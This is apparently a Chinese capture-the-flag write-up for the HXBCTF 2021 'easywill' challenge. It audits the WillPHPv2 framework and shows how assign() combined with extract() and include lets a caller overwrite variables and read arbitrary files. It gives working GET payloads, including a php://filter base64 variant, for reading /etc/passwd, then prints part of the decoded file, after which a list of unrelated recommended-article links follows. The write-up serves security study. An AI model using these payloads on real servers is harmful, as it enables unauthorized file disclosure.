一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]
时间戳——2021.12.12
0x01 [HXBCTF 2021]easywill_WriteUp:
一、PHPSTORM框架调试
第一步:登录buuctf,打开[HXBCTF 2021]easywill题目的容器环境
第二步:进入打开的的题目链接,发现有一段代码提示,以及两个选项,一个使开发手册,一个是下载新版本。(经过查看html源码没有提示,也没有www.zip和robots.txt,但是很明显发现这个是ThinkPHP、WillPHPv2版本的框架,因此我们之后打算下载PHP源码,然后放到PHPSTORM进行Xdebug框架调试)
代码提示给出的信息:一个assign函数、一个view()函数
第三步:点击开发手册,发现assign函数的功能
第四步:点击下载新版本,下载下来,放到本地环境中
第五步(可以不要):在app\controller\IndexController.php里面添加如下内容,尽量还原题目,就是给一个提示
第六步:开始在PHPSTORM调试
1、设置断点,传入参数
设置断点传入参数的方法:
传入参数的姿势:
传入参数的结果:
2、键入F7,步入:很明显,这个步入就是进入了assign函数,这里的\wiphp\View::asign()中的双冒号指的是所属空间
获得信息:assign()函数处于View类中
3、从上一步得知,我们需要跳转到assign函数所处的View类上,因此在上一步按住ctrl+点击View,发现在View.php里面,assign函数会把value参数的值赋值给vars数组的name键,这里就好像符合了assign在使用手册里面的功能了。
获得信息:assign函数会把value参数的值赋值给vars数组的name键
4、经过fetch函数–>render函数–>renderTo函数,最终停在了Template.php页面,发现了**【变量覆盖+文件包含】构成的【任意文件读取漏洞】**
extract($vars)的功能是:把vars数组的键值对,转换为变量和变量值的对应关系,如果该数组里的键与已存在的变量同名,则覆盖已有变量。所以我们构造可以传入的键值对vars[cfile]=任意可读文件,也就是传入?name=cfile&value=任意可读文件,我们就可以让后面的include $cfile成功的包含我们想要读取的可读文件。
5、本地添加一个测试文件test.txt,用来读取
6、在变量覆盖漏洞处打上断点,开启调试,按下两次F9恢复程序,传入参数,如下所示:
传入参数后的phpstorm页面
7、键入F7步入,就成功的跳转到了test.txt
第七步:总结漏洞的利用姿势:
漏洞 | 利用方法 |
---|---|
可控点name和value | 通过get的形式传入参数的值 |
assign(GET[′name′],_GET['name'],GET[′name′],_GET[‘value’]) | 读取get形式传入的参数name和value的值,传入assign函数 |
assign函数的关键功能:$vars[ $name] = $value; | 把$value的值传给vars数组的name键 |
extract($vars) | 把vars数组中的键值对转换为对应的变量和变量值,若键值与已有变量名重复,则覆盖原有变量名的内容 |
include $cfile | 对不符合php语法规范的进行读取操作,对符合php语法规范的进行解析执行 |
任意文件读取漏洞 | 以上综合得出漏洞利用姿势:?name=cfile&value=任意可读取文件 |
第八步:在BUUCTF里面测试漏洞
1、我们在buuctf里面打开的题目链接里面,测试上述漏洞。由于靶机是linux操作系统,所以我们可以读取已有的文件/etc/passwd。
所以传入右边的参数,利用文件包含读取文件:index.php?name=cfile&value=/etc/passwd
2、也可以传入右边的参数,利用文件包含读取文件的源码:index.php?name=cfile&value=php://filter/convert.base64-encode/resource=/etc/passwd
解码内容:
root❌0:0:root:/root:/bin/ash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
news❌9:13:news:/usr/lib/news:/sbin/nologin
uucp❌10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
man❌13:15
一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]相关推荐
- 读取gps观测数据o文件的matlab编程,读取GPS观测数据O文件的matlab编程.doc
读取GPS观测数据O文件的matlab编程 读取GPS观测数据O文件的matlab编程 function HeadO=ReadObsHead [fname,fpath]=uigetfile('*.*O ...
- python shp文件_对python 读取线的shp文件实例详解
如下所示: import shapefile sf = shapefile.reader("e:\\1.2\\cs\\dx_csl.shp") shapes = sf.shapes ...
- python怎么读写文件-怎么用python读取和写入TIFF文件1
Python读写文件 1.open 使用open打开文件后一定要记得调用文件对象的close()方法.比如可以用try/finally语句来确保最后能关闭文件. file_object = open( ...
- python读取plt文件吗_如何读取连续的.plt文件并存储它们
我有1000个文件要用python读取.以前,我有74个,我只是一个一个地读,但现在有太多的事情要做.在data_1 = np.genfromtxt('test4-1.000001.plt', del ...
- ajax读取文件数据,Ajax 实现读取 properties 格式资源文件数据
Ajax 的核心是 JavaScript 对象 XmlHttpRequest.该对象在 Internet Explorer 5 中首次引入,它是一种支持异步请求的技术.简而言之,XmlHttpRequ ...
- stl文件怎么用Java读取_将STEP文件转换为STL
我正在寻找有关如何解决以下问题的建议: 将STEP(ISO 10303,AP 203/214)转换为三角形网格,即转换为STL 显然,STEP支持一些平滑曲线的各种精确表示,例如NURBS,因此两者不 ...
- php读取iso文件,Linux_linux下如何读取使用iso 镜像文件的方法,如果拷贝到本地,可以使用moun - phpStudy...
linux下如何读取使用iso 镜像文件的方法 如果拷贝到本地,可以使用mount mount fileName mountPoint -o loop,fileName是镜像文件名(*.iso,*.i ...
- C语言调用dbf文件,C语言直接读取FOXBASE的DBF文件.pdf
C语言直接读取FOXBASE的DBF文件 维普资讯 1◇-l 1(Bs I 据 的读取 . 一 . 问题的提出 表 1 DBF文件的文件参数表 FOXBAsE有时在与外界进行数据交换 .提高数据 位置 ...
- linux下循环读取目录文件,linux循环递归读取目录指定类型文件及计算阶乘脚本...
linux循环读取目录指定类型文件脚本 ergodic.sh #!/bin/bash function ergodic { for file in ` ls $1` do if [ -d $1&quo ...
最新文章
- HDU5583 上海赛铜牌题
- java控制台两个字符串_java控制台输入字符串
- 【iOS】NSDate分类,获得中国农历
- python中导入的模块不能直接当方法用,需要采用模块.方法名或模块 as 别名,再别名.方法的形式
- 全球每年仅一位!中国数学家印卧涛荣获优化领域Egon Balas奖
- flink sql client读取hive时卡住
- 基本java,jquery异步 的级联下拉列表
- spring mvc重定向_Spring的Web MVC –重定向到内存泄漏
- android用java写文本框_Android 自动完成文本框的实例
- (54)FPGA基础编码D触发器(三)
- matlab字符串元胞数组,MATLAB字符串数组元胞数组和构架数组
- BIM族库下载——Revit家用电器族库
- DB2 SQLCODE常见错误代码
- arcgis 批量计算几何_ArcGIS四种计算图斑面积的方法
- python+基于Python的资产管理系统 毕业设计-附源码201117
- weight_decay一般设置为多少_建盏一般多少钱?建阳建盏定价的依据是什么?宋韵建盏为你解析...
- 为什么会出现淘宝客比价订单?怎样才能省钱购物?
- Delphi图像处理 -- 彩色浮雕
- 802.11与802.3数据帧转换(即有线和无线数据帧转换)
- 学习笔记整理:Photoshop软件应用-图层的应用和渐变工具
热门文章
- js面试--ajax与性能优化
- 外企面试成功秘笈(外企HR亲授)
- 成都UI设计师工资是多少?工资高吗?
- 关于代码家(干货集中营)共享知识点汇总系列——瞎推荐
- Java 520.1314表白
- android加载webview网页,android 加载网页Html文本--WebView
- PhpStorm 2021 如何配置php7.3的环境
- SpringBoot实现SpringTask调度任务---实现间隔调度与CRON调度处理
- 相对论的陷阱---光速和光源或物体运动速度的区别
- linux 自启动 快捷键,Linux 自定义快捷键